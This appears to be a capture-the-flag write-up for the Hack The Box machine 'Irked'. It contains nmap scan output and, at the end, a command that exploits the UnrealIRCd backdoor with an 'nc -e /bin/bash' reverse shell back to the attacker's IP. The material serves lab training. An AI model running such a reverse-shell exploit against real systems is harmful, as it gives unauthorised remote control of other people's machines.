Scanning and Enumeration
Scanning
kali@kali:~/HTB/irked$ nmap -sV -sC -p 22,80,111,6697,8067,49693,65534 10.10.10.117
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-23 08:02 EDT
Nmap scan report for 10.10.10.117
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33847/udp6 status
| 100024 1 49693/tcp status
| 100024 1 53265/udp status
|_ 100024 1 54087/tcp6 status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
49693/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.56 secondsEnumeration
Port 22
Outdated SSH
Port 80
IRCPorts
Port 6697
This method did not work manually, so after troublshooting, I have decided to use the nmap script.
nmap -p 6697 --script=irc-unrealircd-backdoor --script-args=irc-unrealircd-backdoor.command="nc -e /bin/bash 10.10.14.28 4444" 10.10.10.117Last updated
Was this helpful?
